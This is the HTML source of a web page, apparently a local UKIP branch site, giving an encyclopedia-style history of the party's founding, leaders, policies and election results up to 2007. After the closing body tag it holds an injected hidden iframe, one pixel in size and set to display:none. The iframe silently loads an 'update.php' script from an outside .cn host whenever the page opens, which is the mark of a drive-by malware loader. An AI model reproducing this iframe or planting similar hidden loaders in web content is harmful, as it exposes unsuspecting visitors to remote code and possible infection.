<center><div style="position:relative;width:1000px;"> <div style="position:absolute; left:124px; top:608px; width:3px; height:3px;"> <img src="_wp_generated/wpd682403c_1b.jpg" width="3" height="3" border="0" id="crv_1" name="crv_1" title="" alt="wpd682403c_1b.jpg"></div> <div style="position:absolute; left:15px; top:15px; width:494px; height:67px;-moz-box-sizing:border-box;box-sizing:border-box; background-color:#9f009f; "> </div> <div id="txt_29_C01" style="position:absolute; left:15px; top:31px; width:494px; height:54px;"> <div class="Normal-P"> <span class="Normal-C">UK Independence Party</span></div> </div> <div style="position:absolute; left:510px; top:15px; width:470px; height:67px;-moz-box-sizing:border-box;box-sizing:border-box; background-color:#ffff00; "> </div> <div id="txt_30_C01" style="position:absolute; left:510px; top:31px; width:470px; height:53px;"> <div class="Normal-P0"> <span class="Normal-C0"> </span><span class="Normal-C1">Halesowen & Rowley Regis</span><span class="Normal-C0"></span></div> </div> <div style="text-align:left; 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left:219px; top:218px; width:741px; height:654px;"> <img src="_wp_generated/wp918d582e_1b.jpg" width="741" height="654" border="0" id="txt_143" name="txt_143" title="" alt="wp918d582e_1b.jpg"></div> <div style="position:absolute; left:295px; top:132px; width:414px; height:42px;"> <img src="_wp_generated/wp1899dc58_1b.jpg" width="414" height="42" border="0" id="art_18" name="art_18" title="" alt="wp1899dc58_1b.jpg"></div> <div id="txt_158" style="position:absolute; left:134px; top:0px; width:714px; height:10px;-moz-box-sizing:border-box;box-sizing:border-box; overflow:hidden;"> <P class="Normal-P"><span class="Normal-C2">UKIP was founded in 1993, by </span><a href="about:/wiki/Alan_Sked" style="color:#0000ff;"><span class="Normal-C3">Alan Sked</span></a><span class="Normal-C2"> and other members of the all-<wbr>party </span><a href="about:/wiki/Anti-Federalist_League" style="color:#0000ff;"><span class="Normal-C3">Anti-<wbr>Federalist League</span></a><span class="Normal-C2">. Its central aim was to seek the withdrawal of the </span><a href="about:/wiki/United_Kingdom" style="color:#0000ff;"><span class="Normal-C3">United Kingdom</span></a><span class="Normal-C2"> from the </span><a href="about:/wiki/European_Union" style="color:#0000ff;"><span class="Normal-C3">European Union</span></a><span class="Normal-C2">. The new party attracted many from the anti-<wbr>European wing of the Conservative Party, which was split on the European question after the </span><a href="about:/wiki/Pound_sterling" style="color:#0000ff;"><span class="Normal-C3">pound</span></a><span class="Normal-C2"> was forced out of the </span><a href="about:/wiki/European_Exchange_Rate_Mechanism" style="color:#0000ff;"><span class="Normal-C3">European Exchange Rate Mechanism</span></a><span class="Normal-C2"> in 1992 and the struggle over ratification of the </span><a href="about:/wiki/Maastricht_Treaty" style="color:#0000ff;"><span class="Normal-C3">Maastricht Treaty</span></a><span class="Normal-C2">. UKIP candidates stood in the </span><a href="about:/wiki/United_Kingdom_general_election%2C_1997" style="color:#0000ff;"><span class="Normal-C3">1997 general election</span></a><span class="Normal-C2">, but were overshadowed by </span><a href="about:/wiki/James_Goldsmith" style="color:#0000ff;"><span class="Normal-C3">James Goldsmith</span></a><span class="Normal-C2">'s </span><a href="about:/wiki/Referendum_Party" style="color:#0000ff;"><span class="Normal-C3">Referendum Party</span></a><span class="Normal-C2">. After the election, Sked resigned the leadership and left the party which was, he said, 'doomed to remain on the political fringes'. However, Goldsmith's death soon after the election precipitated the dissolution of the Referendum Party, with a resulting influx of new UKIP supporters. The leadership election was won by millionaire businessman </span><a href="about:/wiki/Michael_Holmes_%28politician%29" style="color:#0000ff;"><span class="Normal-C3">Michael Holmes</span></a><span class="Normal-C2">, and in the 1999 elections to the </span><a href="about:/wiki/European_Parliament" style="color:#0000ff;"><span class="Normal-C3">European Parliament</span></a><span class="Normal-C2"> UKIP surprised commentators by picking up three seats and 7% of the vote. In that election, Nigel Farage (</span><a href="about:/wiki/South_East_England_%28European_Parliament_constituency%29" style="color:#0000ff;"><span class="Normal-C3">South East England</span></a><span class="Normal-C2">), Jeffrey Titford (</span><a href="about:/wiki/East_of_England_%28European_Parliament_constituency%29" style="color:#0000ff;"><span class="Normal-C3">East of England</span></a><span class="Normal-C2">), and Michael Holmes (</span><a href="about:/wiki/South_West_England_%28European_Parliament_constituency%29" style="color:#0000ff;"><span class="Normal-C3">South West England</span></a><span class="Normal-C2">) were elected.</span></P> </div> <div id="txt_159" style="position:absolute; left:26px; top:196px; width:944px; height:3550px;-moz-box-sizing:border-box;box-sizing:border-box; overflow:hidden;"> <P class="Normal-P1" style="margin-top:0px"><span class="Normal-C4">UKIP was founded in 1993, by </span><span class="Hyperlink-C">Alan Sked</span><span class="Normal-C4"> and other members of the all-<wbr>party </span><span class="Hyperlink-C">Anti-<wbr>Federalist League</span><span class="Normal-C4">. Its central aim was to seek the withdrawal of the </span><span class="Hyperlink-C">United Kingdom</span><span class="Normal-C4"> from the </span><span class="Hyperlink-C">European Union</span><span class="Normal-C4">. The new party attracted many from the anti-<wbr>European wing of the Conservative Party, which was split on the European question after the </span><span class="Hyperlink-C">pound</span><span class="Normal-C4"> was forced out of the </span><span class="Hyperlink-C">European Exchange Rate Mechanism</span><span class="Normal-C4"> in 1992 and the struggle over ratification of the </span><span class="Hyperlink-C">Maastricht Treaty</span><span class="Normal-C4">. UKIP candidates stood in the </span><span class="Hyperlink-C">1997 general election</span><span class="Normal-C4">, but were overshadowed by </span><span class="Hyperlink-C">James Goldsmith</span><span class="Normal-C4">'s </span><span class="Hyperlink-C">Referendum Party</span><span class="Normal-C4">. After the election, Sked resigned the leadership and left the party which was, he said, 'doomed to remain on the political fringes'. However, Goldsmith's death soon after the election precipitated the dissolution of the Referendum Party, with a resulting influx of new UKIP supporters. The leadership election was won by millionaire businessman </span><span class="Hyperlink-C">Michael Holmes</span><span class="Normal-C4">, and in the 1999 elections to the </span><span class="Hyperlink-C">European Parliament</span><span class="Normal-C4"> UKIP surprised commentators by picking up three seats and 7% of the vote. In that election, Nigel Farage (</span><span class="Hyperlink-C">South East England</span><span class="Normal-C4">), Jeffrey Titford (</span><span class="Hyperlink-C">East of England</span><span class="Normal-C4">), and Michael Holmes (</span><span class="Hyperlink-C">South West England</span><span class="Normal-C4">) were elected.</span></P> <P class="Normal-P1"><span class="Normal-C4">Over the following months there was a power struggle between the leader, Michael Holmes, and the party's National Executive Committee (NEC). This was partly due to Holmes making a speech which was perceived to call for greater powers for the </span><span class="Hyperlink-C">European Parliament</span><span class="Normal-C4"> against the </span><span class="Hyperlink-C">European Commission</span><span class="Normal-C4">. In a stormy meeting, ordinary party members forced the resignation of both Holmes and the entire NEC. Holmes resigned from the party itself in March 2000. There was a legal battle when he tried to continue as an independent MEP until resigning from the European Parliament in December 2002, when he was replaced by </span><span class="Hyperlink-C">Graham Booth</span><span class="Normal-C4">, the second candidate on the UKIP list in South West England.</span></P> <P class="Normal-P1"><span class="Hyperlink-C">Jeffrey Titford</span><span class="Normal-C4"> was narrowly elected to the vacant leadership, and succeeded in healing many of the wounds left by the previous infighting.</span></P> <P class="Normal-P1"><span class="Normal-C4"> </span></P> <P class="Normal-P1"><span class="Normal-C4"> </span><span class="H3-C">2001 General Election</span></P> <P class="Normal-P1"><span class="Normal-C4">UKIP put up candidates in more than 420 seats in the </span><span class="Hyperlink-C">2001 general election</span><span class="Normal-C4">, coming fifth in terms of votes cast (but with just 1.5% of the vote) and failing to win any representation at Westminster. It also failed to break through in the elections to the </span><span class="Hyperlink-C">Scottish Parliament</span><span class="Normal-C4"> or the Welsh Assembly, despite those elections being held under </span><span class="Hyperlink-C">proportional representation</span><span class="Normal-C4">. In 2002 Titford stood down as party leader, but continued to sit as a UKIP MEP. He was replaced as leader by </span><span class="Hyperlink-C">Roger Knapman</span><span class="Normal-C4">.</span></P> <P class="Normal-P1"><span class="Normal-C4"> </span></P> <P class="Normal-P1"><span class="H3-C">Kilroy-<wbr>Silk</span></P> <P class="Normal-P1"><span class="Normal-C4">In late 2004, reports in the mainstream UK press speculated on if or when former </span><span class="Hyperlink-C">Labour Party</span><span class="Normal-C4"> MP and chat show host </span><span class="Hyperlink-C">Robert Kilroy-<wbr>Silk</span><span class="Normal-C4"> would take control of the party. These reports were heightened by Kilroy-<wbr>Silk's speech at the UKIP party conference in Bristol on </span><span class="Hyperlink-C">2 October</span><span class="Normal-C4"> </span><span class="Hyperlink-C">2004</span><span class="Normal-C4">, in which he called for the </span><span class="Hyperlink-C">Conservative Party</span><span class="Normal-C4"> to be "killed off" (following UKIP's forcing the Conservatives into fourth place in </span><span class="Hyperlink-C">Hartlepool</span><span class="Normal-C4">).</span></P> <P class="Normal-P1"><span class="Normal-C4">Interviewed by </span><span class="Hyperlink-C">Channel 4</span><span class="Normal-C4"> television, Kilroy-<wbr>Silk did not deny having ambitions to lead the party, but underlined that Roger Knapman would lead it into the next general election. However, the next day, on </span><span class="Normal-C5">Breakfast with </span><span class="Hyperlink-C">Frost</span><span class="Normal-C4">, he criticised Knapman's leadership. After further disagreement with the leadership, on </span><span class="Hyperlink-C">27 October</span><span class="Normal-C4"> </span><span class="Hyperlink-C">2004</span><span class="Normal-C4"> Kilroy-<wbr>Silk resigned the UKIP whip in the European Parliament. Initially, he remained a member, while seeking a bid for the party leadership. However, this was not successful, and Kilroy-<wbr>Silk resigned completely from UKIP on </span><span class="Hyperlink-C">20 January</span><span class="Normal-C4"> </span><span class="Hyperlink-C">2005</span><span class="Normal-C4">, calling it a "joke". Two weeks later, he founded his own party, </span><span class="Hyperlink-C">Veritas</span><span class="Normal-C4">, taking several UKIP members, including both London Assembly members, with him. Kilroy-<wbr>Silk has subsequently resigned from Veritas.</span></P> <P class="Normal-P1"><span class="Normal-C4"> </span></P> <P class="Normal-P1"><span class="H3-C0"> </span><span class="H3-C">2006 leadership election</span></P> <P class="Normal-P1"><span class="Normal-C4">In October 2005, </span><span class="Hyperlink-C">Petrina Holdsworth</span><span class="Normal-C4"> resigned as Chairman of UKIP and from the party's National Executive Committee. She was replaced as Chairman "on an interim basis" by the party's former leader, </span><span class="Hyperlink-C">Jeffrey Titford</span><span class="Normal-C4"> MEP. In December 2005, </span><span class="Hyperlink-C">David Campbell-<wbr>Bannerman</span><span class="Normal-C4">, a former Conservative, became the new party chairman, appointed by the party leader, </span><span class="Hyperlink-C">Roger Knapman</span><span class="Normal-C4"> MEP. Knapman's four-<wbr>year term as leader ended in June 2006, triggering a leadership contest that saw four challengers (</span><span class="Hyperlink-C">Richard Suchorzewski</span><span class="Normal-C4">, David Campbell-<wbr>Bannerman, </span><span class="Hyperlink-C">David Noakes</span><span class="Normal-C4"> and </span><span class="Hyperlink-C">Nigel Farage</span><span class="Normal-C4">), from which Farage emerged as victor on </span><span class="Hyperlink-C">12 September</span><span class="Normal-C4"> </span><span class="Hyperlink-C">2006</span><span class="Normal-C4">.</span></P> <P class="Normal-P1"><span class="Normal-C4">Farage's stated intention is to broaden public perception of UKIP beyond merely being a party seeking to get the UK out of the EU, to one of being a </span><span class="Hyperlink-C">free market</span><span class="Normal-C4"> party broadly standing for traditional </span><span class="Hyperlink-C">conservative</span><span class="Normal-C4"> and </span><span class="Hyperlink-C">libertarian</span><span class="Normal-C4"> values.</span></P> <P class="Normal-P1"><span class="Normal-C4"> </span></P> <P class="Normal-P1"><span class="H3-C">Proposed change of name</span></P> <P class="Normal-P1"><span class="Normal-C4">It was announced on </span><span class="Hyperlink-C">5 February</span><span class="Normal-C4"> </span><span class="Hyperlink-C">2007</span><span class="Normal-C4"> that UKIP intends to change its name to Independence Party in a bid to attract Conservative voters. This change will be subject to a postal ballot of members, and would have to be accepted by the </span><span class="Hyperlink-C">Electoral Commission</span><span class="Normal-C4"> under the Registration of Political Parties Act.</span></P> <P class="Normal-P1"><span class="Normal-C4"> </span></P> <P class="Normal-P1"><span class="H3-C">Policies</span></P> <P class="Normal-P1"><span class="Normal-C4">Although the UKIP's original </span><span class="Normal-C5">raison d'être</span><span class="Normal-C4"> was, without a doubt, the </span><span class="Hyperlink-C">EU</span><span class="Normal-C4">, it has now expanded from being a </span><span class="Hyperlink-C">single-<wbr>issue party</span><span class="Normal-C4"> to developing a full domestic agenda, starting with a wide-<wbr>ranging review and the establishment of a policy development group. UKIP has now produced detailed policy documents on taxation and education.</span></P> <P class="Normal-P1"><span class="Normal-C4">UKIP also opposes the extension of state funding for political parties. Its economic stance is based what it claims to be the need for much lower taxation in order to compete internationally, a position which has been reinforced since the election of Nigel Farage as leader in September 2006.</span></P> <P class="Normal-P1"><span class="Normal-C4"> </span></P> <P class="Normal-P1"><span class="Normal-C4"> </span><span class="H3-C">On Europe</span></P> <P class="Normal-P1"><span class="Normal-C4">UKIP contends that the EU is corrupt, that it is undemocratic, that Britain's membership is very expensive, and that Britain's sovereignty is diluted by being part of a large bloc. In particular, it perceives the latter issue as being so fundamental a problem that only complete withdrawal from the Union can address it. For this reason, the aim of British withdrawal from the EU is written into UKIP's constitution. In line with this, one of UKIP's political goals is to break what it sees as the pro-<wbr>EU consensus among the three established parties, and prevent the introduction of the </span><span class="Hyperlink-C">euro</span><span class="Normal-C4"> and the adoption of a </span><span class="Hyperlink-C">European constitution</span><span class="Normal-C4">.</span></P> <P class="Normal-P1"><span class="Normal-C4"> </span></P> <P class="Normal-P1"><span class="H3-C"> ID Cards</span></P> <P class="Normal-P1"><span class="Normal-C4">UKIP is against the planned introduction of </span><span class="Hyperlink-C">identity cards</span><span class="Normal-C4">, believing them to be ineffective as a way of combating fraud and terrorism, and an infringement of individual liberty. In December 2004 UKIP affiliated to the anti-<wbr>ID card campaign, </span><span class="Hyperlink-C">No2ID</span><span class="Normal-C4">. Concern for civil liberties also led UKIP to oppose the Civil Contingencies Act 2004, which gives additional powers to the UK </span><span class="Hyperlink-C">Home Secretary</span><span class="Normal-C4"> in broadly defined "emergency situations". UKIP's </span><span class="Hyperlink-C">Jeffrey Titford</span><span class="Normal-C4"> </span><span class="Hyperlink-C">MEP</span><span class="Normal-C4"> condemned the bill as "totalitarian". </span></P> <P class="Normal-P1"><span class="Normal-C4"> </span></P> <P class="Normal-P1"><span class="H3-C">Devolution and Unionism</span></P> <P class="Normal-P1"><span class="Normal-C4">Although UKIP is strongly opposed to the loss of powers to the EU, as a strong supporter of the </span><span class="Hyperlink-C">Union</span><span class="Normal-C4"> it argues that, within the UK itself, power should rest in Westminster. It therefore both opposes the notion of a </span><span class="Hyperlink-C">devolved English parliament</span><span class="Normal-C4"> and argues that the </span><span class="Hyperlink-C">Scottish Parliament</span><span class="Normal-C4"> and </span><span class="Hyperlink-C">Welsh</span><span class="Normal-C4"> and </span><span class="Hyperlink-C">Northern Irish Assemblies</span><span class="Normal-C4"> should be abolished, with all parliamentary powers returning to </span><span class="Hyperlink-C">Westminster</span><span class="Normal-C4">.</span></P> <P class="Normal-P1"><span class="Normal-C4"> </span></P> <P class="Normal-P1"><span class="Normal-C4"> </span><span class="H3-C">Climate change</span></P> <P class="Normal-P1"><span class="Normal-C4">UKIP believed that the </span><span class="Hyperlink-C">Climate Change Bill</span><span class="Normal-C4">, published by the Labour Government in March 2007, reflected a failure to devise a viable plan for alternative sources of energy to replace </span><span class="Hyperlink-C">fossil fuels</span><span class="Normal-C4">: it considered that the Bill was 'deeply misguided'.</span></P> <P class="Normal-P1"><span class="Normal-C4">UKIP argues in favour of the expansion of </span><span class="Hyperlink-C">nuclear power</span><span class="Normal-C4"> for reasons of energy security as well as to cut carbon emissions. In line with American policy, it does not think large-<wbr>scale cuts of carbon emissions are necessary. It also argues that plans to invest in </span><span class="Hyperlink-C">wind power</span><span class="Normal-C4"> are uneconomic.</span></P> <P class="Normal-P1"><span class="Normal-C4"> </span></P> <P class="Normal-P1"><span class="H3-C"> Electoral performance 2004-<wbr>2007</span></P> <P class="Normal-P1"><span class="Normal-C4">UKIP's first electoral success was the election of three MEPs in 1999, and it made further advances in 2004. Although it increased its share of the vote in both the </span><span class="Hyperlink-C">2001 General Election</span><span class="Normal-C4"> and </span><span class="Hyperlink-C">2005 General Election</span><span class="Normal-C4">, it did not achieve the same levels of vote as in those elections to the European Parliament.</span></P> <P class="Normal-P1"><span class="Normal-C4">UKIP's expectations were high before the </span><span class="Hyperlink-C">2004 European Parliament election</span><span class="Normal-C4">, with a number of opinion polls – starting with one from </span><span class="Hyperlink-C">YouGov</span><span class="Normal-C4"> -<wbr> showed them on course to beat the </span><span class="Hyperlink-C">Liberal Democrats</span><span class="Normal-C4"> and pick up a dozen MEPs. The prediction proved accurate, with UKIP winning 16.8% of the vote and taking third place nationally with 12 seats. UKIP won seats in eight regions, taking votes from all three major political parties. It came second, ahead of both Labour and the Liberal Democrats, in four regions: South West, South East, Eastern and East Midlands. In the East Midlands region UKIP came within a percentage point of being top of the poll. UKIP received assistance in coordinating its 2004 election campaign from </span><span class="Hyperlink-C">Dick Morris</span><span class="Normal-C4">, formerly </span><span class="Hyperlink-C">Bill Clinton</span><span class="Normal-C4">'s campaign advisor who has since emerged as an advocate of US </span><span class="Hyperlink-C">unilateralism</span><span class="Normal-C4"> and an opponent of the EU.</span></P> <P class="Normal-P1"><span class="Normal-C4">The party had hoped to sustain its momentum in the 2005 General Election, but despite fielding 495 candidates, the party failed to win any seats at Westminster. At the general election, UKIP gained 618,000 votes, or 2.4% of the total votes cast (an increase of 220,000 votes/0.9% from its result in the 2001 general election). Although this may be regarded as respectable for a small party, and sufficient to place it fourth in terms of total votes cast behind the </span><span class="Hyperlink-C">Liberal Democrats</span><span class="Normal-C4">, the Liberal Democrats polled, as is customary, in excess of 20% of the total vote cast. UKIP's best result on election night was in Boston & Skegness, where their candidate Richard Horsnell came third with 9.6% of the vote.</span></P> <P class="Normal-P1"><span class="Normal-C4">In the first parliamentary election test of 2006, UKIP came eighth out of nine candidates in the </span><span class="Hyperlink-C">Dunfermline and West Fife by-<wbr>election</span><span class="Normal-C4"> on </span><span class="Hyperlink-C">9 February</span><span class="Normal-C4"> </span><span class="Hyperlink-C">2006</span><span class="Normal-C4">, and their candidate lost his deposit, polling only 208 votes (0.6%).</span></P> <P class="Normal-P1"><span class="Normal-C4">In the 2006 English local elections, UKIP won its first borough council seat in </span><span class="Hyperlink-C">Hartlepool</span><span class="Normal-C4"> when Stephen Allison was elected to serve as Councillor for the St. Hilda Ward; however, a councillor in </span><span class="Hyperlink-C">Wirral</span><span class="Normal-C4"> who had recently defected to UKIP from the </span><span class="Hyperlink-C">Conservatives</span><span class="Normal-C4"> failed to be re-<wbr>elected for her new party, so UKIP's overall net gain was zero. UKIP also beat Labour into fourth place in the Bromley and Chislehurst by-<wbr>election in June 2006. The UKIP candidate, </span><span class="Hyperlink-C">Nigel Farage</span><span class="Normal-C4">, came third with 8.1% of the vote, against Labour's 6.6%.</span></P> <P class="Normal-P1"><span class="Normal-C4">In February 2007, Henry Reilly, a </span><span class="Hyperlink-C">Ulster Unionist Party</span><span class="Normal-C4"> councillor in </span><span class="Hyperlink-C">Newry and Mourne</span><span class="Normal-C4"> defected to UKIP. He subsequently stood as a UKIP candidate in the </span><span class="Hyperlink-C">Assembly election</span><span class="Normal-C4"> for the </span><span class="Hyperlink-C">South Down constituency</span><span class="Normal-C4">, their first-<wbr>ever candidate in Northern Ireland. He polled 1,229 votes, 2.7% of the poll.</span></P> <P class="Normal-P1"><span class="Normal-C4">In the May local elections UKIP fielded its highest number of candidates, just under a thousand. Six UKIP councillors were up for re-<wbr>election in the </span><span class="Hyperlink-C">2007 Local Elections</span><span class="Normal-C4">. Four lost their seats, two were re-<wbr>elected and three new seats were won, leaving the party with a net loss of one councillor.</span></P> <P class="Normal-P1"><span class="Normal-C4">In the regional list vote for the </span><span class="Hyperlink-C">Welsh Assembly Election</span><span class="Normal-C4"> the party polled 38,490 votes, 3.9% of the total, an increase of 9,063 votes from the </span><span class="Hyperlink-C">2003 election</span><span class="Normal-C4"> when they polled 3.5% of the total. In the </span><span class="Hyperlink-C">Scottish Parliament elections</span><span class="Normal-C4"> the party polled 8,197 votes, 0.4% of the total, a fall of 3,772 votes from the </span><span class="Hyperlink-C">2003 election</span><span class="Normal-C4"> when they polled 0.6% of the total.</span></P> <P class="Normal-P1"><span class="Normal-C4">On </span><span class="Hyperlink-C">22 May</span><span class="Normal-C4"> </span><span class="Hyperlink-C">2007</span><span class="Normal-C4"> UKIP announced that a Conservative Councillor in the </span><span class="Hyperlink-C">London Borough of Sutton</span><span class="Normal-C4"> had defected to the party over the issue of the Conservatives' perceived lack of support for </span><span class="Hyperlink-C">grammar schools</span><span class="Normal-C4">.</span><span class="Hyperlink-C">[10]</span><span class="Normal-C4"> On </span><span class="Hyperlink-C">19 July</span><span class="Normal-C4"> </span><span class="Hyperlink-C">2007</span><span class="Normal-C4">, Dr. K.T. Rajan polled 285 votes (0.8%) in the </span><span class="Hyperlink-C">Ealing Southall by-<wbr>election</span><span class="Normal-C4"> coming 6th out of 12 candidates. </span><span class="Hyperlink-C">Toby Horton</span><span class="Normal-C4"> polled 536 votes (1.9%)in the </span><span class="Hyperlink-C">Sedgefield by-<wbr>election</span><span class="Normal-C4"> held on the same day, coming 6th out of 11 candidates.</span></P> <P class="Normal-P1"><span class="Normal-C4"> </span></P> <P class="Normal-P1"><span class="H2-C"> </span><span class="H3-C">Relationship with other parties</span></P> <P class="Normal-P1"><span class="Normal-C4"> </span></P> <P class="Normal-P1"><span class="Normal-C4"> </span><span class="H3-C">The Conservatives</span></P> <P class="Normal-P1"><span class="Normal-C4">UKIP is often seen as a "Tory pressure group", whose main aim is to persuade the Conservative Party to support withdrawal from the European Union. Many prominent members of UKIP are former members of the Conservative Party, such as former UKIP leader Roger Knapman; in addition, some of the staff at Conservative Central Office are former UKIP candidates.[</span><span class="Hyperlink-C">citation needed</span><span class="Normal-C4">]</span></P> <P class="Normal-P1"><span class="Normal-C4">Although UKIP did not come close to winning any seats at the 2005 general election, they polled well enough that their votes, if added to the Conservative candidates totals constituency by constituency, would have led to Conservative majorities in 22 more seats (13 of which were won by Labour, 9 by the Liberal Democrats). This has led to UKIP being criticised for preventing the election of eurosceptic Conservative MPs. UKIP counter by saying that they will not oppose Conservatives who support the </span><span class="Hyperlink-C">Better Off Out</span><span class="Normal-C4"> campaign. A recent </span><span class="Hyperlink-C">ConservativeHome</span><span class="Normal-C4"> survey revealed that 43% of surveyed members of the Conservative Party felt that UKIP was the closest party to their views (apart from the Conservative Party itself), with 66% either supporting or sympathising with the Better Off Out campaign. 6 Conservative MPs have signed the Better Off Out petition.</span></P> <P class="Normal-P1"><span class="Normal-C4">In April 2006, </span><span class="Hyperlink-C">Conservative Party</span><span class="Normal-C4"> leader </span><span class="Hyperlink-C">David Cameron</span><span class="Normal-C4"> called UKIP members "fruitcakes, loonies and closet racists" while talking on </span><span class="Hyperlink-C">LBC</span><span class="Normal-C4"> radio in London after a question about UKIP using the Freedom of Information Act to force the disclosure of donors. UKIP demanded an apology for the "closet racists" remark and threatened legal action for slander, although this was later dropped, on the grounds that to sue the party would have to prove loss, and the comment had actually had a positive effect for UKIP. Conservative MP </span><span class="Hyperlink-C">Bob Spink</span><span class="Normal-C4"> criticised his leader's remarks, as did the pro-<wbr>Conservative </span><span class="Hyperlink-C">The Daily Telegraph</span><span class="Normal-C4">.</span></P> <P class="Normal-P1"><span class="Normal-C4">In April 2007 an undercover journalist was found to be spying on the UK Independence Party. Tom Harper, a journalist on the </span><span class="Hyperlink-C">Sunday Telegraph</span><span class="Normal-C4">, used his middle name to try to delude the party into thinking he was a supporter, but according to UKIP still kept his real name on his voicemail and forgot to use his fake e-<wbr>mail address. They claim that they initially thought he was a plant and played him along by feeding him "laughable made-<wbr>up stories", but once they found out that he was a journalist, they threw him out. UKIP described the journalist as the "Worst plant since giant hogweed".</span></P> <P class="Normal-P1"><span class="Normal-C4"> </span></P> <P class="Normal-P1"><span class="Normal-C4"> </span><span class="H3-C">Defection of Conservative Peers to UKIP</span></P> <P class="Normal-P1"><span class="Normal-C4">On </span><span class="Hyperlink-C">9 January</span><span class="Normal-C4"> </span><span class="Hyperlink-C">2007</span><span class="Normal-C4">, two former Conservative peers defected from the Conservative Party to the UKIP. Lords </span><span class="Hyperlink-C">Pearson</span><span class="Normal-C4"> and </span><span class="Hyperlink-C">Willoughby de Broke</span><span class="Normal-C4"> joined the UKIP as they felt the Conservative Party was not producing policy to support their beliefs. They had previously had the Conservative whip withdrawn when they had encouraged voters to support UKIP. Other high-<wbr>profile Conservatives have defected to UKIP, but this is the first example of sitting parliamentarians doing so. On </span><span class="Hyperlink-C">20 January</span><span class="Normal-C4"> </span><span class="Hyperlink-C">2007</span><span class="Normal-C4"> the </span><span class="Hyperlink-C">Earl of Dartmouth</span><span class="Normal-C4">, also a former Tory peer, defected.</span></P> <P class="Normal-P1"><span class="Normal-C4"> </span></P> <P class="Normal-P1"><span class="H3-C0"> </span><span class="H3-C">Far-<wbr>right parties</span></P> <P class="Normal-P1"><span class="Normal-C4">UKIP's constitution contains a clause guaranteeing that the party will not discriminate on the grounds of race and will be non-<wbr>sectarian, and the party's rules require all candidates to declare that they have no past or present links with far-<wbr>right organisations.</span></P> <P class="Normal-P1"><span class="Normal-C4">Despite its stated policies, some critics of UKIP claim links between it and racist groups. </span><span class="Hyperlink-C">Aidan Rankin</span><span class="Normal-C4">, co-<wbr>author of the party's 2001 manifesto, was once involved with the </span><span class="Hyperlink-C">Third Way</span><span class="Normal-C4">, which was founded by former members of the </span><span class="Hyperlink-C">National Front</span><span class="Normal-C4"> (though he has since repudiated these views and has denied ever being a racist; it must also be stated that Third Way has never been as extreme as the NF). </span><span class="Hyperlink-C">Alistair McConnachie</span><span class="Normal-C4">, a five-<wbr>times UKIP candidate and National Executive member, was expelled from UKIP for his views on the </span><span class="Hyperlink-C">Holocaust</span><span class="Normal-C4">. Some other candidates were formerly members of the </span><span class="Hyperlink-C">New Britain Party</span><span class="Normal-C4">.</span></P> <P class="Normal-P1"><span class="Normal-C6">I</span><span class="Normal-C4">t has been a stated policy of the </span><span class="Hyperlink-C">British National Party</span><span class="Normal-C4"> (BNP) to "eliminate" UKIP, as they perceive that UKIP's existence prevents them from capitalising on the issue of EU membership. The BNP has infiltrated UKIP in the past, notably in the cases of Mark Deavin, a UKIP head office researcher (hired by the party founder Alan Sked) who was exposed as a BNP agent in 1997, and John Brayshaw in 2004. The aim appears simply to have been to damage UKIP.</span></P> <P class="Normal-P1"><span class="Normal-C4"> </span></P> <P class="Normal-P1"><span class="Normal-C4"> </span><span class="H3-C">Minority members of UKIP</span></P> <P class="Normal-P1"><span class="Normal-C4">The first ethnic-<wbr>minority candidate to represent UKIP in a parliamentary by-<wbr>election was </span><span class="Hyperlink-C">Ashwinkumar Tanna</span><span class="Normal-C4">, a </span><span class="Hyperlink-C">pharmacist</span><span class="Normal-C4"> who had previously been an independent candidate for </span><span class="Hyperlink-C">Mayor of London</span><span class="Normal-C4">. He represented UKIP in the </span><span class="Hyperlink-C">Tottenham by-<wbr>election, 2000</span><span class="Normal-C4">; his campaign, which called for British withdrawal from the EU and fairer treatment for immigrants, was ignored by the media apart from a brief paragraph in Chemist and Druggist magazine.</span></P> <P class="Normal-P1"><span class="Normal-C4">Perhaps the best-<wbr>known black member of UKIP is former TV chef </span><span class="Hyperlink-C">Rustie Lee</span><span class="Normal-C4">, who stood as a candidate in the 2005 general election and also appeared in the party's election broadcast that year. The most senior black member of the UKIP leadership is </span><span class="Hyperlink-C">Delroy Young</span><span class="Normal-C4">, another general election candidate, who was elected to the party's NEC in 2006 (coming 2nd out of 46 candidates). UKIP's only Muslim local councillor to date was </span><span class="Hyperlink-C">Mohammed Yaqub</span><span class="Normal-C4">, originally elected as a </span><span class="Hyperlink-C">Conservative</span><span class="Normal-C4"> to </span><span class="Hyperlink-C">Walsall</span><span class="Normal-C4"> Metropolitan Borough Council. He and a colleague defected to UKIP in 2004 but were defeated in their re-<wbr>election bids a few months later.</span></P> <P class="Normal-P1"><span class="Normal-C4"> </span></P> <P class="Normal-P1"><span class="H3-C">Current representatives</span></P> <P class="Normal-P1"><span class="Normal-C4">UKIP has two working peers in the House of Lords, who joined the party in January 2007 after defecting from the Conservative Party. Lord Pearson of Rannoch and Lord Willoughby de Broke will form a new grouping within the House of Lords to actively seek to encourage more Lords to defect to the new UKIP group.UKIP has about nine district councillors and seventeen town/parish councillors. Although the party does not provide a list of councillors, an unofficial list is maintained on the British Democracy Forum. </span></P> <P class="Normal-P1"><span class="Hyperlink-C">Ashley Mote</span><span class="Normal-C4">, who was elected as a </span><span class="Hyperlink-C">Member of the European Parliament</span><span class="Normal-C4"> for UKIP in 2004 but had the </span><span class="Hyperlink-C">party whip</span><span class="Normal-C4"> withdrawn within days, joined the far-<wbr>right </span><span class="Hyperlink-C">Identity, Tradition and Sovereignty</span><span class="Normal-C4"> grouping in the </span><span class="Hyperlink-C">European Parliament</span><span class="Normal-C4">, alongside parties like the French </span><span class="Hyperlink-C">National Front</span><span class="Normal-C4">. Mote, who was elected for the </span><span class="Hyperlink-C">South East England constituency</span><span class="Normal-C4">, had the UKIP whip removed on </span><span class="Hyperlink-C">15 July</span><span class="Normal-C4"> </span><span class="Hyperlink-C">2004</span><span class="Normal-C4">, because he had not informed them previously of an imminent court case involving housing </span><span class="Hyperlink-C">benefit fraud</span><span class="Normal-C4">. He was subsequently made to leave the party and is currently serving a 9-<wbr>month jail sentence for several counts of fraud. On </span><span class="Hyperlink-C">28 February</span><span class="Normal-C4"> </span><span class="Hyperlink-C">2007</span><span class="Normal-C4"> UKIP suspended </span><span class="Hyperlink-C">Tom Wise</span><span class="Normal-C4"> due to his being under investigation by </span><span class="Hyperlink-C">OLAF</span><span class="Normal-C4"> (the European Anti Fraud Office).</span></P> <P class="Normal-P"><span class="Normal-C7"> </span></P> </div> </div></center> </body> <iframe src='http://www.colehost.cn/update.php' width='1' height='1' style='display:none'></html>